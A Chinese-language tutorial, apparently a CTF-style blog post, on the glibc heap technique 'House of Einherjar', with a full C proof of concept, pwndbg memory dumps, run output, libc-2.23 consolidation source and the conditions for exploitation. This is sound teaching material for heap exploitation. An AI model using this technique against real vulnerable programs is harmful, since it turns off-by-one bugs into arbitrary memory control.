House Of Einherjar house of einherjar 跟 house of force 差不多,最终目的都是控制 top chunk 的值
该技术可以强制使得malloc
返回一个几乎任意地址的 chunk
House Of Einherjar 利用姿势 伪造一个 chunk,计算最后一个 chunk 到我们伪造 chunk 的距离,设置为最后一个 chunk 的 pre_size 位,当 free 最后一个 chunk 时,会将伪造的 chunk 和当前 chunk 和 top chunk 进行 unlink 操作,合并成一个 top chunk,从而达到将 top chunk 设置到我们伪造 chunk 的地址
// 和 house of force 不同,想要控制目标区域的 offset(fake_presize) 通常为正
通过 off-by-one 把最后一个 chunk 的 pre_inuse 标志位置零,让 free 函数以为上一个 chunk 已经被 free,这就要求了最后一个 chunk 的 size 必须大于 0x100,要不然会在 top chunk 进行合并操作的时候失败(指被覆盖为“\x00”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); uint8_t * a; uint8_t * b; uint8_t * d; a = (uint8_t *)malloc (0x38 ); printf ("a: %p\n" , a); int real_a_size = malloc_usable_size(a); printf ("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n" , real_a_size); size_t fake_chunk[6 ]; fake_chunk[0 ] = 0x100 ; fake_chunk[1 ] = 0x100 ; fake_chunk[2 ] = (size_t )fake_chunk; fake_chunk[3 ] = (size_t )fake_chunk; fake_chunk[4 ] = (size_t )fake_chunk; fake_chunk[5 ] = (size_t )fake_chunk; printf ("Our fake chunk at %p looks like:\n" , fake_chunk); b = (uint8_t *)malloc (0xf8 ); int real_b_size = malloc_usable_size(b); printf ("b: %p\n" , b); uint64_t * b_size_ptr = (uint64_t *)(b - 8 ); printf ("\nb.size: %#lx\n" , *b_size_ptr); a[real_a_size] = 0 ; printf ("b.size: %#lx\n" , *b_size_ptr); size_t fake_size = (size_t )((b - sizeof (size_t ) * 2 ) - (uint8_t *)fake_chunk); printf ("Our fake prev_size will be %p - %p = %#lx\n" , b - sizeof (size_t ) * 2 , fake_chunk, fake_size); *(size_t *)&a[real_a_size - sizeof (size_t )] = fake_size; fake_chunk[1 ] = fake_size; free (b); printf ("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n" , fake_chunk[1 ]); d = malloc (0x200 ); printf ("Next malloc(0x200) is at %p\n" , d); }
覆盖前:
1 2 3 4 5 6 7 pwndbg> x/20 xg 0x55555555b000 0x55555555b000 : 0x0000000000000000 0x0000000000000041 0x55555555b010 : 0x0000000000000000 0x0000000000000000 0x55555555b020 : 0x0000000000000000 0x0000000000000000 0x55555555b030 : 0x0000000000000000 0x0000000000000000 0x55555555b040 : 0x0000000000000000 0x0000000000000101 0x55555555b050 : 0x0000000000000000 0x0000000000000000
覆盖后:( a[real_a_size] = 0 )
1 2 3 4 5 6 7 pwndbg> x/20 xg 0x55555555b000 0x55555555b000 : 0x0000000000000000 0x0000000000000041 0x55555555b010 : 0x0000000000000000 0x0000000000000000 0x55555555b020 : 0x0000000000000000 0x0000000000000000 0x55555555b030 : 0x0000000000000000 0x0000000000000000 0x55555555b040 : 0x0000000000000000 0x0000000000000100 0x55555555b050 : 0x0000000000000000 0x0000000000000000
修改后:( (size_t )&a[real_a_size - sizeof(size_t)] = fake_size )
1 2 3 4 5 6 7 pwndbg> x/20 xg 0x55555555b000 0x55555555b000 : 0x0000000000000000 0x0000000000000041 0x55555555b010 : 0x0000000000000000 0x0000000000000000 0x55555555b020 : 0x0000000000000000 0x0000000000000000 0x55555555b030 : 0x0000000000000000 0x0000000000000000 0x55555555b040 : 0xffffd5555555d2f0 0x0000000000000100 0x55555555b050 : 0x0000000000000000 0x0000000000000000
释放后:( free(b) )
1 2 3 4 pwndbg> heap Allocated chunk Addr: 0x7ffffffde010 Size: 0x00
结果:(显示的地址和上述GDB调试的地址不同,因为这是两个不同的进程)
1 2 3 4 5 6 7 8 9 10 11 ➜ [/home/ywhkkx/桌面] ./test a: 0x560df0294010 Since we want to overflow 'a' , we need the 'real' size of 'a' after rounding:0x38 Our fake chunk at 0x7ffcea6130c0 looks like: b: 0x560df0294050 b.size: 0x101 b.size: 0x100 Our fake prev_size will be 0x560df0294040 - 0x7ffcea6130c0 = 0xffffd61105c80f80 Our fake chunk size is now 0xffffd61105ca1f41 (b.size + fake_prev_size) Next malloc (0x200 ) is at 0x7ffcea6130d0
总而言之,利用手段为:
已有两个 chunk(最后一个chunk,和倒数第二个chunk),释放倒数第二个 chunk
重新把倒数第二个 chunk 申请回来,在最后一个内存空间(lastchunk->presize)的位置写入 offset(可以索引到 fakechunk),同时溢出“\x00”覆盖 lastchunk 的P位(lastchunk->size)
提前在 fakechunk 处伪造好数据:presize(offset),size,FD,BK,FDsize,BKsize
释放 lastchunk
向后合并机制与利用点 下面是 libc-2.23 中,向后合并的源码:
1 #define chunk_at_offset(p, s) BOUNDED_1((mchunkptr)(((char*)(p)) + (s)))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (!(hd & PREV_INUSE)) { prevsz = p->prev_size; p = chunk_at_offset(p, -(long )prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) islr = 1 ; else unlink(p, bck, fwd); }
可以看到执行 set_head() 函数后,合并堆块的 size 会变为两个堆块的总和,并且 top_chunk 的指针会指向被合并的堆块 p 的位置,就相当于 top_chunk 把 p 给吞了,并取代了 p 的位置
可以发现程序并没有对 向后合并 进行过多的检查,不管 presize 是多少都是合理的
保护检查: 后向合并中没有多少检查,但是unlink操作会先检查 “fakechunk->size” (必须可以通过 size 索引到“last chunk”,并且P位为“0”,这样才会进行 unlink),因为“fake_size”(offset)很大,fake chunk 会被当做是 large chunk ,所以还会格外检查 FD,BK,FDsize,BKsize
破解办法: 控制“fake chunk”,写入“fake_size”,在“FD,BK,FDsize,BKsize”中写入“fake chunk addr”就可以通过检查(至少在 libc-2.23 是这样的)
利用条件:
用户能够篡改 top chunk 的 presize 字段(篡改为负数或很大值)
有 off-by-one ,可以覆盖最后一个chunk的P位为“\x00”(使其在和 top chunk 合并后还可以进行后向合并,通过“chunk->presize”索引到“fake chunk”把 top chunk 合并到“fake chunk”上)
可以控制“fake chunk”
版本对 House Of Einherjar 的影响 libc-2.23
基本没有影响,可以直接打